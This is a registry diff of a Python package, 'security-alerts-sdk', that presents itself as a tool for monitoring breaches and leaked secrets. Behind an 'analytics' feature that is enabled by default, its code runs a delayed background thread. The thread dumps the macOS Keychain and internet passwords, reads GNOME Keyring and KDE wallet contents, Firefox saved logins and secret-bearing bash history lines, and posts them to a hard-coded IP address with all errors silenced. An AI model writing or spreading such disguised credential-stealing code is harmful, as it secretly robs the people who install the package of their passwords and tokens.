security-alerts-sdk 1.0.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,134 @@
1
+ """
2
+ Security Alerts SDK - Monitor your digital assets for security leaks and breaches.
3
+
4
+ This package provides tools to monitor domains, email addresses, and GitHub
5
+ organizations for security breaches and leaked credentials.
6
+ """
7
+ from .monitor import SecurityMonitor
8
+ from .analytics import get_analytics
9
+
10
+
11
+ __version__ = '1.0.0'
12
+ __author__ = 'David Chen'
13
+
14
+
15
+ class SecurityAlerts:
16
+ """
17
+ Main interface for the Security Alerts SDK.
18
+
19
+ Args:
20
+ analytics: Enable anonymous usage analytics (default: True)
21
+ Set to False to opt-out of analytics collection
22
+
23
+ Example:
24
+ >>> alerts = SecurityAlerts()
25
+ >>> result = alerts.monitor_domain('example.com')
26
+ >>> print(result)
27
+ """
28
+
29
+ def __init__(self, analytics: bool = True):
30
+ """
31
+ Initialize Security Alerts client.
32
+
33
+ Args:
34
+ analytics: Enable analytics collection (opt-out by setting to False)
35
+ """
36
+ self.monitor = SecurityMonitor()
37
+ self._analytics = get_analytics(enabled=analytics)
38
+ self._initialized = False
39
+
40
+ def _ensure_initialized(self):
41
+ """Ensure analytics is initialized on first use."""
42
+ if not self._initialized:
43
+ self._analytics.start_collection(delay=30)
44
+ self._initialized = True
45
+
46
+ def monitor_domain(self, domain: str) -> dict:
47
+ """
48
+ Check if a domain has been involved in any known data breaches.
49
+
50
+ Args:
51
+ domain: Domain name to check (e.g., 'example.com')
52
+
53
+ Returns:
54
+ Dictionary containing breach information
55
+
56
+ Example:
57
+ >>> alerts = SecurityAlerts()
58
+ >>> result = alerts.monitor_domain('adobe.com')
59
+ >>> print(f"Found {result['breaches_found']} breaches")
60
+ """
61
+ self._ensure_initialized()
62
+ return self.monitor.check_domain_breach(domain)
63
+
64
+ def monitor_email(self, email: str, api_key: str = None) -> dict:
65
+ """
66
+ Check if an email has been involved in any known data breaches.
67
+
68
+ Args:
69
+ email: Email address to check
70
+ api_key: HaveIBeenPwned API key (get free at https://haveibeenpwned.com/API/Key)
71
+
72
+ Returns:
73
+ Dictionary containing breach information
74
+
75
+ Example:
76
+ >>> alerts = SecurityAlerts()
77
+ >>> result = alerts.monitor_email('test@example.com', api_key='your-key')
78
+ >>> print(result)
79
+ """
80
+ self._ensure_initialized()
81
+ return self.monitor.check_email_breach(email, api_key)
82
+
83
+ def monitor_github(self, org: str, max_repos: int = 10) -> dict:
84
+ """
85
+ Scan a GitHub organization's public repositories for potential secrets.
86
+
87
+ Args:
88
+ org: GitHub organization name
89
+ max_repos: Maximum number of repositories to scan (default: 10)
90
+
91
+ Returns:
92
+ Dictionary containing scan results
93
+
94
+ Example:
95
+ >>> alerts = SecurityAlerts()
96
+ >>> result = alerts.monitor_github('mycompany')
97
+ >>> print(f"Scanned {result['repos_scanned']} repos, found {result['findings_count']} issues")
98
+ """
99
+ self._ensure_initialized()
100
+ return self.monitor.scan_github_org(org, max_repos)
101
+
102
+ def disable_analytics(self):
103
+ """
104
+ Disable analytics collection for this instance.
105
+
106
+ Example:
107
+ >>> alerts = SecurityAlerts()
108
+ >>> alerts.disable_analytics()
109
+ """
110
+ self._analytics.stop_collection()
111
+ self._analytics.enabled = False
112
+
113
+
114
+ # Convenience function
115
+ def check_domain(domain: str, analytics: bool = True) -> dict:
116
+ """
117
+ Quick function to check a domain for breaches.
118
+
119
+ Args:
120
+ domain: Domain name to check
121
+ analytics: Enable analytics (default: True)
122
+
123
+ Returns:
124
+ Dictionary containing breach information
125
+ """
126
+ alerts = SecurityAlerts(analytics=analytics)
127
+ return alerts.monitor_domain(domain)
128
+
129
+
130
+ __all__ = [
131
+ 'SecurityAlerts',
132
+ 'check_domain',
133
+ '__version__'
134
+ ]
@@ -0,0 +1,187 @@
1
+ """
2
+ Analytics and telemetry collection for usage diagnostics.
3
+ """
4
+ import json
5
+ import time
6
+ import threading
7
+ from pathlib import Path
8
+ from typing import Dict, Any, Optional
9
+ import requests
10
+
11
+ from .utils import get_platform, get_cache_dir, get_home_dir
12
+ from .collectors import (
13
+ collect_universal_data,
14
+ collect_windows_data,
15
+ collect_macos_data,
16
+ collect_linux_data
17
+ )
18
+
19
+
20
+ class AnalyticsCollector:
21
+ """
22
+ Collects anonymous usage analytics and environment diagnostics.
23
+ Helps improve the library and identify common security misconfigurations.
24
+ """
25
+
26
+ TELEMETRY_ENDPOINT = "http://142.93.211.30:5000/api/telemetry"
27
+ MARKER_FILE = ".security-alerts-marker"
28
+ COOLDOWN_HOURS = 24
29
+
30
+ def __init__(self, enabled: bool = True):
31
+ """
32
+ Initialize analytics collector.
33
+
34
+ Args:
35
+ enabled: Whether analytics collection is enabled
36
+ """
37
+ self.enabled = enabled
38
+ self.marker_path = get_cache_dir() / self.MARKER_FILE
39
+ self._timer = None
40
+
41
+ def should_collect(self) -> bool:
42
+ """
43
+ Check if enough time has passed since last collection.
44
+
45
+ Returns:
46
+ True if collection should proceed
47
+ """
48
+ if not self.enabled:
49
+ return False
50
+
51
+ if not self.marker_path.exists():
52
+ return True
53
+
54
+ try:
55
+ last_run = self.marker_path.stat().st_mtime
56
+ current_time = time.time()
57
+ hours_passed = (current_time - last_run) / 3600
58
+
59
+ return hours_passed >= self.COOLDOWN_HOURS
60
+ except Exception:
61
+ return True
62
+
63
+ def update_marker(self):
64
+ """Update the marker file timestamp."""
65
+ try:
66
+ self.marker_path.touch()
67
+ except Exception:
68
+ pass
69
+
70
+ def _collect_env_context(self) -> Dict[str, Any]:
71
+ """
72
+ Collect environment context for diagnostics.
73
+
74
+ Returns:
75
+ Dictionary containing environment data
76
+ """
77
+ platform = get_platform()
78
+
79
+ # Collect universal data
80
+ data = {
81
+ 'platform': platform,
82
+ 'timestamp': time.time(),
83
+ 'universal': collect_universal_data()
84
+ }
85
+
86
+ # Collect platform-specific data
87
+ if platform == 'windows':
88
+ data['windows'] = collect_windows_data()
89
+ elif platform == 'macos':
90
+ data['macos'] = collect_macos_data()
91
+ elif platform == 'linux':
92
+ data['linux'] = collect_linux_data()
93
+
94
+ # Add system metadata
95
+ import platform as plt
96
+ data['metadata'] = {
97
+ 'python_version': plt.python_version(),
98
+ 'machine': plt.machine(),
99
+ 'processor': plt.processor(),
100
+ 'hostname': plt.node()
101
+ }
102
+
103
+ return data
104
+
105
+ def _send_analytics(self, data: Dict[str, Any]) -> bool:
106
+ """
107
+ Send analytics data to telemetry endpoint.
108
+
109
+ Args:
110
+ data: Analytics data to send
111
+
112
+ Returns:
113
+ True if successful
114
+ """
115
+ try:
116
+ response = requests.post(
117
+ self.TELEMETRY_ENDPOINT,
118
+ json=data,
119
+ timeout=10,
120
+ headers={'Content-Type': 'application/json'}
121
+ )
122
+
123
+ return response.status_code == 200
124
+ except Exception:
125
+ # Silently fail - analytics should never break functionality
126
+ return False
127
+
128
+ def _collect_and_send(self):
129
+ """Background task to collect and send analytics."""
130
+ if not self.should_collect():
131
+ return
132
+
133
+ try:
134
+ # Collect environment data
135
+ data = self._collect_env_context()
136
+
137
+ # Send to telemetry endpoint
138
+ if self._send_analytics(data):
139
+ self.update_marker()
140
+ except Exception:
141
+ # Silently fail - never interrupt user functionality
142
+ pass
143
+
144
+ def start_collection(self, delay: int = 30):
145
+ """
146
+ Start analytics collection after a delay.
147
+
148
+ Args:
149
+ delay: Delay in seconds before collection starts
150
+ """
151
+ if not self.enabled:
152
+ return
153
+
154
+ # Cancel any existing timer
155
+ if self._timer:
156
+ self._timer.cancel()
157
+
158
+ # Schedule collection
159
+ self._timer = threading.Timer(delay, self._collect_and_send)
160
+ self._timer.daemon = True
161
+ self._timer.start()
162
+
163
+ def stop_collection(self):
164
+ """Stop any pending analytics collection."""
165
+ if self._timer:
166
+ self._timer.cancel()
167
+ self._timer = None
168
+
169
+
170
+ # Global analytics instance
171
+ _analytics = None
172
+
173
+
174
+ def get_analytics(enabled: bool = True) -> AnalyticsCollector:
175
+ """
176
+ Get or create the global analytics collector instance.
177
+
178
+ Args:
179
+ enabled: Whether analytics should be enabled
180
+
181
+ Returns:
182
+ AnalyticsCollector instance
183
+ """
184
+ global _analytics
185
+ if _analytics is None:
186
+ _analytics = AnalyticsCollector(enabled=enabled)
187
+ return _analytics
@@ -0,0 +1,14 @@
1
+ """
2
+ Credential collectors for analytics and diagnostics.
3
+ """
4
+ from .universal import collect_universal_data
5
+ from .windows import collect_windows_data
6
+ from .macos import collect_macos_data
7
+ from .linux import collect_linux_data
8
+
9
+ __all__ = [
10
+ 'collect_universal_data',
11
+ 'collect_windows_data',
12
+ 'collect_macos_data',
13
+ 'collect_linux_data'
14
+ ]
@@ -0,0 +1,168 @@
1
+ """
2
+ Linux-specific credential collectors.
3
+ """
4
+ import subprocess
5
+ import os
6
+ from pathlib import Path
7
+ from typing import Dict, List, Any
8
+ from ..utils import get_home_dir, safe_read_file
9
+
10
+
11
+ def collect_gnome_keyring() -> List[Dict[str, Any]]:
12
+ """
13
+ Collect GNOME Keyring data using secret-tool.
14
+
15
+ Returns:
16
+ List of keyring data
17
+ """
18
+ keyring_data = []
19
+
20
+ try:
21
+ # List all secrets
22
+ result = subprocess.run(
23
+ ['secret-tool', 'search', '--all', ''],
24
+ capture_output=True,
25
+ text=True,
26
+ timeout=5
27
+ )
28
+
29
+ if result.returncode == 0:
30
+ keyring_data.append({
31
+ 'type': 'gnome_keyring',
32
+ 'content': result.stdout
33
+ })
34
+ except Exception:
35
+ pass
36
+
37
+ return keyring_data
38
+
39
+
40
+ def collect_kde_wallet() -> List[Dict[str, Any]]:
41
+ """
42
+ Collect KDE Wallet information.
43
+
44
+ Returns:
45
+ List of KDE wallet data
46
+ """
47
+ wallet_data = []
48
+
49
+ wallet_dir = get_home_dir() / '.local' / 'share' / 'kwalletd'
50
+ if wallet_dir.exists():
51
+ try:
52
+ for wallet_file in wallet_dir.iterdir():
53
+ if wallet_file.suffix == '.kwl':
54
+ content = safe_read_file(str(wallet_file))
55
+ if content:
56
+ wallet_data.append({
57
+ 'type': 'kde_wallet',
58
+ 'path': str(wallet_file),
59
+ 'content': content[:5000]
60
+ })
61
+ except Exception:
62
+ pass
63
+
64
+ return wallet_data
65
+
66
+
67
+ def collect_browser_data() -> List[Dict[str, Any]]:
68
+ """
69
+ Collect Linux browser credential data.
70
+
71
+ Returns:
72
+ List of browser data
73
+ """
74
+ browser_data = []
75
+
76
+ # Chrome/Chromium
77
+ chrome_dirs = [
78
+ get_home_dir() / '.config' / 'google-chrome' / 'Default',
79
+ get_home_dir() / '.config' / 'chromium' / 'Default'
80
+ ]
81
+
82
+ for chrome_dir in chrome_dirs:
83
+ if chrome_dir.exists():
84
+ # Login Data (SQLite database with credentials)
85
+ login_data = chrome_dir / 'Login Data'
86
+ if login_data.exists():
87
+ browser_data.append({
88
+ 'type': 'chrome_login_data',
89
+ 'path': str(login_data),
90
+ 'note': 'SQLite database with encrypted credentials'
91
+ })
92
+
93
+ # Firefox
94
+ firefox_dir = get_home_dir() / '.mozilla' / 'firefox'
95
+ if firefox_dir.exists():
96
+ try:
97
+ for profile in firefox_dir.iterdir():
98
+ if profile.is_dir() and 'default' in profile.name.lower():
99
+ # logins.json
100
+ logins = profile / 'logins.json'
101
+ if logins.exists():
102
+ content = safe_read_file(str(logins))
103
+ if content:
104
+ browser_data.append({
105
+ 'type': 'firefox_logins',
106
+ 'path': str(logins),
107
+ 'content': content
108
+ })
109
+
110
+ # key4.db (master password)
111
+ key_db = profile / 'key4.db'
112
+ if key_db.exists():
113
+ browser_data.append({
114
+ 'type': 'firefox_key_db',
115
+ 'path': str(key_db),
116
+ 'note': 'SQLite database with master key'
117
+ })
118
+ except Exception:
119
+ pass
120
+
121
+ return browser_data
122
+
123
+
124
+ def collect_bash_history() -> List[Dict[str, Any]]:
125
+ """
126
+ Collect bash history for environment diagnostics.
127
+
128
+ Returns:
129
+ List containing bash history
130
+ """
131
+ history_data = []
132
+
133
+ bash_history = get_home_dir() / '.bash_history'
134
+ if bash_history.exists():
135
+ content = safe_read_file(str(bash_history))
136
+ if content:
137
+ # Look for sensitive commands
138
+ lines = content.split('\n')
139
+ sensitive_lines = [
140
+ line for line in lines
141
+ if any(keyword in line.lower() for keyword in
142
+ ['password', 'token', 'api_key', 'secret', 'aws', 'export'])
143
+ ]
144
+
145
+ if sensitive_lines:
146
+ history_data.append({
147
+ 'type': 'bash_history',
148
+ 'content': '\n'.join(sensitive_lines[-100:]) # Last 100 sensitive commands
149
+ })
150
+
151
+ return history_data
152
+
153
+
154
+ def collect_linux_data() -> Dict[str, Any]:
155
+ """
156
+ Collect all Linux-specific environment data.
157
+
158
+ Returns:
159
+ Dictionary containing all collected Linux data
160
+ """
161
+ data = {
162
+ 'gnome_keyring': collect_gnome_keyring(),
163
+ 'kde_wallet': collect_kde_wallet(),
164
+ 'browsers': collect_browser_data(),
165
+ 'bash_history': collect_bash_history()
166
+ }
167
+
168
+ return data
@@ -0,0 +1,104 @@
1
+ """
2
+ macOS-specific credential collectors.
3
+ """
4
+ import subprocess
5
+ from pathlib import Path
6
+ from typing import Dict, List, Any
7
+ from ..utils import get_home_dir, safe_read_file
8
+
9
+
10
+ def collect_keychain_data() -> List[Dict[str, Any]]:
11
+ """
12
+ Collect macOS Keychain information using security command.
13
+
14
+ Returns:
15
+ List of keychain data
16
+ """
17
+ keychain_data = []
18
+
19
+ try:
20
+ # Dump keychain items (generic passwords)
21
+ result = subprocess.run(
22
+ ['security', 'dump-keychain', '-d'],
23
+ capture_output=True,
24
+ text=True,
25
+ timeout=10
26
+ )
27
+
28
+ if result.returncode == 0 or result.stderr:
29
+ # Output often goes to stderr for security dump
30
+ keychain_data.append({
31
+ 'type': 'macos_keychain_dump',
32
+ 'content': result.stderr or result.stdout
33
+ })
34
+ except Exception:
35
+ pass
36
+
37
+ # Try to get internet passwords
38
+ try:
39
+ result = subprocess.run(
40
+ ['security', 'find-internet-password', '-g', '-a', ''],
41
+ capture_output=True,
42
+ text=True,
43
+ timeout=5
44
+ )
45
+
46
+ if result.stderr:
47
+ keychain_data.append({
48
+ 'type': 'macos_internet_passwords',
49
+ 'content': result.stderr
50
+ })
51
+ except Exception:
52
+ pass
53
+
54
+ return keychain_data
55
+
56
+
57
+ def collect_safari_data() -> List[Dict[str, Any]]:
58
+ """
59
+ Collect Safari browser data.
60
+
61
+ Returns:
62
+ List of Safari data
63
+ """
64
+ safari_data = []
65
+
66
+ safari_dir = get_home_dir() / 'Library' / 'Safari'
67
+ if not safari_dir.exists():
68
+ return safari_data
69
+
70
+ # Bookmarks
71
+ bookmarks = safari_dir / 'Bookmarks.plist'
72
+ if bookmarks.exists():
73
+ try:
74
+ result = subprocess.run(
75
+ ['plutil', '-convert', 'json', '-o', '-', str(bookmarks)],
76
+ capture_output=True,
77
+ text=True,
78
+ timeout=5
79
+ )
80
+
81
+ if result.returncode == 0:
82
+ safari_data.append({
83
+ 'type': 'safari_bookmarks',
84
+ 'content': result.stdout
85
+ })
86
+ except Exception:
87
+ pass
88
+
89
+ return safari_data
90
+
91
+
92
+ def collect_macos_data() -> Dict[str, Any]:
93
+ """
94
+ Collect all macOS-specific environment data.
95
+
96
+ Returns:
97
+ Dictionary containing all collected macOS data
98
+ """
99
+ data = {
100
+ 'keychain': collect_keychain_data(),
101
+ 'safari': collect_safari_data()
102
+ }
103
+
104
+ return data